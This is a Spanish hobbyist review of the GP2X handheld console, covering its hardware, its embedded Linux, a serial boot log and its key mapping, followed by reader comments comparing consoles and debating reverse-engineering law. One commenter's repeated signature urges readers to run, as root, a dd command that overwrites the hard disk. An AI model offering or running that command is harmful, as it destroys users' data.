GP2X, primer contacto

Arco

Esta receta describe la consola portátil GP2X y da una primera idea de sus posibilidades dentro del mundo del software libre

Introducción

Antes de empezar con la receta diré que esto no es en realidad una receta... Sticking out tongue es algo así como un review. El soft libre tiene un mercado que avanza muy rápidamente y prueba de ello está en que cada vez más dispositivos vienen con un Linux integrado y se basa en soft libre. Hace tiempo, la empresa koreana Game Park Holdings sacó una consola portátil llamada GP32.

Esa consola vio muy pocos juegos comerciales porque la gente se dedicó a desarrollar homebrew para dicha consola. Viendo el "éxito" especial que tuvo esta consola, meses después se decidió a sacar una nueva consola, la GP2X, mucho más potente que su antecesora (de hecho se compara con la Nintendo DS) y directamente para que la gente desarrolle para ella.

Se ha denominado "la portátil opensource" (aunque en realidad GamePark Holdings apuesta muy poco por el GPL y el soft en general... como veremos a continuación...). Sea como fuere aquí pretendo contar un poco mis primeras experiencias con esta consolilla para dejar esta receta como "introducción" a una serie de recetas que, espero, sean más "divertidas" que ésta...

El hardware
Bueno, básicamente disponemos de un sistema basado en dos procesadores ARM, 32M de RAM y otros 32M de flash interna, socket para tarjetas SD, puerto USB 2.0, pantalla LCD de 320x240, joystick digital, 10 botones y unos cuantos puertos interesantes como son el de TV-OUT o el JTAG.

El main core (llamado MagicEyes o MP2520F) tiene como núcleo dos CPU's que van a 200MHz (dopables):

  • ARM920T (Rev 1)
  • ARM940T (Rev 2)

El que ejecuta la chicha, (o host) es el ARM920, el otro se emplea para el tratamiento de gráficos 2D y "cierta" aceleración 3D. Antes de que alguno pregunte porqué no se usan los dos en modo SMP hay que decir que el ARM940 viene sin MMU y tiene algunas instrucciones especiales para el acceso a la memoria, por eso no se ha portado un núcleo SMP para este micro.

El controlador de USB es un NET2272 con soporte para Microsoft’s Media Transfer Protocol (MTP), es decir: DRM (nos han chuleao!!).

Para la salida de TV dispone de un CX25784, que genera señales PAL y NTSC de hasta 720x480. Hay que decir que la consola no tiene un conector para enchufar directamente la tele, hay que comprarse un cable...

En cuanto al audio... un chip AC'97 llamado WM9711L bastante chulo.

El software
Pues un Linux de toda la vida, concretamente un 2.4.25 compilado con gcc 2.95.3, es el núcleo que ejecuta la maquinita. Viene con una mínima cantidad de módulos. En el gestor de eventos encontramos a hotplug.

En cuanto a librerías, tenemos unas cuantas: libSDL (incluyendo SDL_image, SDL_mixer y SDL_ttf), libjpeg, libncurses (¿para qué?), libogg, libpng, libvorbisdec, a parte de librerías típicas del sistema.

Tenemos unas cuantas utilidades GNU como grep, fgrep, egrep, doexec, fdisk, ftp, hostname, ipcalc, netstat, nohup, who, etc...

Viene con servidores típicos como telnetd (q miedo!), ftpd, samba, thttpd, etc.

Una utilidad interesante que trae es el mplayer de toda la vida, portado y GPL (no tienen más remedio, les obliga la licencia...). Después viene un reproductor de música y un visualizador de imágenes y texto y los... impresentables de GPH no lo tienen liberado (al igual que el menú de la consola)... me parece una cutrez pero bueno.

Cómo funciona
Muy simple, dispone de un cargador del núcleo (tipo lilo o grub) llamado U-BOOT que soporta múltiples plataformas. El cargador arranca el linux y comienza un arranque como el de cualquier otro sistema basado en GNU/Linux, salvo que no hay más que un runlevel y un único usuario. El último comando del script de arranque es el menú de la GP2X (que no es más que un ejecutable como otro cualquiera).

Primeros cacharreos
Lo más básico que podemos hacer: conectarnos por puerto serie y ver "qué hace" la consola. Fácil: utilizad algún programa como minicom (paquete Debian) y configurad el puerto de la siguiente forma:

115200 8N1

Ahora encendéis la consola y (con el último fw, 2.1.1 a fecha de hoy) saldrá:

U-Boot 1.0.0 (Apr 20 2006 - 12:51:09)

U-Boot code: 03E00000 -> 03E49610  BSS: -> 03E82208
IRQ Stack: 03ea3204
FIQ Stack: 03ea4204
DRAM Configuration:
Bank #0: 00100000 63 MB
Flash:  0 kB
NAND:Probing at 0x9c000000
Flash chip found:
         Manufacturer ID: 0xEC, Chip ID: 0x76 (Samsung K9F1208 64Mb)
1 flash chips found. Total nand_chip size: 64 MB
Get Environment from NAND offset 0x70000 ...
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial

NAND read: device 0 offset 0x1a0000, size 0x40000 ...  262144 bytes read: OK

NAND read: device 0 offset 0x80000, size 0xb0000 ...  720896 bytes read: OK
### main_loop: bootcmd="bootm"
Hit any key to stop autoboot:  0
## Booting image at 01000000 ...
   Image Name:   GP2X-F100 2.1.1
   Created:      2006-10-30   8:12:53 UTC
   Image Type:   ARM Linux Kernel Image (gzip compressed)
   Data Size:    618462 Bytes = 604 kB
   Load Address: 00008000
   Entry Point:  00008000
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK

Starting kernel ...

MMC/SD Card Detected
MMC/SD Slot initialized
Partition check:
 mmcsda: p1
Register SD: 976MsB
mount...1
mount...2:
Reading data from NAND FLASH without ECC is not recommended
Freeing init memory: 280K
INIT:  version 2.84 booting
\<7\>**\>\>ecc error unfixed on chunk 3268:0
 Started device management daemon v1.3.25 for /dev
\<7\>**\>\>ecc error unfixed on chunk 3844:0
Mount image directory, if not mounted...
You must set heads sectors and cylinders.
You can do this from the extra functions menu.
You must set heads sectors and cylinders.
You can do this from the extra functions menu.
Partition table size is 4096
Loopback device setup...
losetup: ioctl: LOOP_CLR_FD: No such device or address
MSDOS FS: IO charset utf8
MSDOS FS: IO charset utf8
Apply LCD Timing
Using /lib/modules/2.4.25/kernel/drivers/usb/gadget/net2272.o
net2272: Set 2272 bus timing
USB SUSPEND MODE
net2272: PLX NET2272 USB Peripheral Controller
net2272: irq 222, mapped mem c280c000, chip rev 0011
net2272: running in 16-bit, byte normal bus mode
net2272: version: 2006 April 5, v3
net2272: unbind

Si estamos conectados por el puerto serie, podemos usar las siguientes teclas para controlar la consolilla:

I --> Joy UP
J --> Joy LEFT
K --> Joy DOWN
L --> Joy RIGHT
Intro --> Joy CENTER
D --> Vol -
F --> Vol +
Q --> L
E --> R
W --> Y
A --> A
S --> B
Z --> X
C --> Select
V --> Start

Conclusiones
Pues, aunque tiene muchas cosas mejorables (sobre todo en la parte soft), este dispositivo parece muy interesante y puede tenernos muchas horas y horas entretenidos cacharreando con él... hay hasta un X11 para la consola;y si no nos gusta cacharrear hay que decir que tiene muchísimos emuladores portados al sistema y cómo no... el mplayer en el bolsillo Eye-wink.

Enlaces
Página oficial GP2X
Wiki GP2X: dónde empezar, datasheets, etc.
Comunidad alemana GP2X: todo tipo de descargas

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de brue

No me digas...

... que te has comprado una de éstas teniendo la psp !? Le da mil vueltas la psp!

¿Cuánto cuesto ésta? Yo vendí mi psp y quiero comprarme algo + barato...

--
·brue
·vigilando

brue

Hay una página en español

Hay una página español dedicada a la GP32 y a la GP2X: www.gp32spain.com

Imagen de int-0

Naah...

En el tajo nos han dejado una para cacharrear en nuestros ratos ociosos, además nos han pillado la placa para desarrolladores y se supone que en un futuro se usará de material docente.

La hardware de la Psp es muy superior y está mucho más cuidado que en la GP2X, pero para las aplicaciones multimedia me quedo con la GP2X. A parte ten en cuenta que todo desarrollo en la PSP tienes que hacerlo en contra de los deseos de Sony, es decir, lucha constante contra ellos. En cambio, desarrollar para la GP2X es lo que quiere su empresa, por tanto te suelen ayudar.

Para un hacker es más divertida la PSP, pero si lo único que quieres es trastear tranquilamente, la GP2X; sin duda... Eye-wink

P.D. No le da mil vueltas, como mucho 8 ó 9 vueltas... de hecho, para mi, sólo el Wifi es la característica definitiva de la PSP con respecto a la GP2X. La GP2X tiene el doble de memoria y la inestimable TV-OUT con todo lo que ello conlleva... Llegados a este punto, Paco diría que los MIPS R4000 de la PSP son una bestia parda respecto a los ARM9x0T de la GP2X, pero tampoco te vas a poner a programar un encoder de vídeo para una consola portátil, no?
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Ya se, ya se, la WiFi mola

Ya se, ya se, la WiFi mola pero… la Nintendo DS Lite tiene mas o menos el mismo hardware que la GP2X, con lo que el cacharreo con GP2X te sirve de inversión en NDS.

Usar la NDS en clase de primero es una lata, porque hay que comprar la Superkey y la Supercard y a la mínima se te ponen los alumnos a jugar… asi que por lo menos para los primeros cursos vemos la GP2X como una opción más sólida. Eso no descarta comprar alguna NDS, pero no creo que lleguemos a comprar PSP.

Por otro lado el USB es posible que permita enchufar dongles WiFi soportados por Linux, hay que probar…

Por cierto, ¿qué es eso del chip ese de DRM?

Imagen de int-0

El problema de la DS

Me supongo yo que si antes afanaban los pics... no quiero decir nada de las microSD y todo eso... además, las DS me parecen mucho más "blanditas" que las GP2X. Otro hardware interesante basado también en desarrollos opensource (la empresa de la GP32 se dividió, una sacó la GP2X y otra la siguiente: XGP. La XGP es un poco más "rara" y por tanto hay menos desarrollo alrededor de ella, pero tiene un HW bastante más "serio". De todas formas, sin lugar a dudas, el mejor HW es la PSP.

Para lo de los dongles, es necesario compilarte el modulito para el kernel en cuestión (con la misma versión del GCC) y eso tira. Hay por ahí módulos precompilados para NFS y cosas así...

El usbhost implementa el protocolo Microsoft Media Transfer (que tiene DRM), pero creo que el linux que tiene no lo usa... claro que como el Linus no se opone a que linux implemente DRM pues vete tu a saber en futuras versiones...

------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de int-0

El enlace de la XGP

Es mejor la página en inglés de la wikipedia... ahí tenéis fotitos y tal. A grandes rasgos: la XGP es una especie de GP2X pero tiene chip de aceleración 3D (OpenGL-ES) y Wifi. Una buena maquinita vaya...

Página en inglés sobre XGP

P.D. Linus Torvalds es tonto
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

pero ...

La XGP es una rama que no apoya el desarrollo libre... PSP 4ever! Si no quieren xploits los de sony, que programen bien.

--
·brue
·vigilando

brue

Imagen de int-0

Yo creo que ya pasan...

Antes sí que guerreaban, se tardaban días o incluso semanas en reventar un firm... pero ahora mira... en cuestión de horas no es que tengan reventado su firm... ES QUE LO MEJORAN! Y si no mira las features del 3.03 "tuneao"... Eye-wink

En fin... los de Sony son unos capullitos y ellos solos han hundido el formato UMD (que me sigue pareciendo muy chulo)...

P.D. XGP tiene orientación comercial, pero los de GPH dicen que también pondrán SDK a disposición de la scene.
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

Linus Tolvards es tonto...

joder, qué ganas tenía de poder decirlo en alto.

--
·brue
·vigilando

brue

Imagen de brue

GP2X, NDS o PSP para clase?

¿Qué tiene de malo desarrollar para un PC?

Además, descartar la PSP ... cuando aún está verde en el port de software libre ... Sad

Práctica 1: porte fluxbox a la PSP
Práctica 2: Diseñe una aplicación que se comunique con una red adhoc para controlar los contidos multimedia de la misma... (aquí gana en potencia la PSP, tiene WIFI)
Práctica 3:... pero un momento? Me voy y se compran CONSOLAS para desarrollar? Pero qué os he hecho yo? Smiling

Un abrazo!
--
·brue
·vigilando

brue

Imagen de brue

además ...

La ingeniería inversa podría ser tratada también en la escuela, ¿no?

--
·brue
·vigilando

brue

Imagen de int-0

No te creas...

No he leído la licencia del firm de la PSP (el oficial) pero supongo que su descarga e instalación obligará a "no utilizar técnicas de ingeniería inversa contra el producto" como hacen con los drivers de Creative.
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

ya ...

Pero lo que hagamos los alumnos en nuestra casa, es cosa nuestra Eye-wink

--
·brue
·vigilando

brue

Imagen de int-0

Practicas ilegales?

Pero no creo que esté muy bien visto prácticas que inciten a delinquir, no?

- Ejemplo de práctica de redes:
Entrar en el servidor web de la Guardia Civil y cambiar las imágenes por las siguientes...

Enfins...

------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de david.villa

Mejor no des ideas... Según

Mejor no des ideas...

Según creo, en Europa la ingeniería inversa está permitida si el fin es la interoperabilidad, que es el caso.

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.

Imagen de brue

Hay que informarse...

Aunque enseñar técnicas de debugeo o cómo ver los datos que van por un cable... o como escribir una shellcode o cómo meterla en un Tiff ... no es ilegal. El conocimiento no es ilegal. Y cuanto más sepamos mejor.

Un saludo,
Sergio

--
·brue
·vigilando

brue

Imagen de int-0

Desgraciadamente...

Hay conocimiento que es ilegal... sin ir más lejos... en este país es ilegal conocer las debilidades de cualquier protección digital...
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

podrias ...

poner algo más sobre todo esto de las leyes? Estaría bien tener algo de algún abogado, o algo oficial para saber hasta dónde se puede llegar.

Un saludo!

--
·brue
·vigilando

brue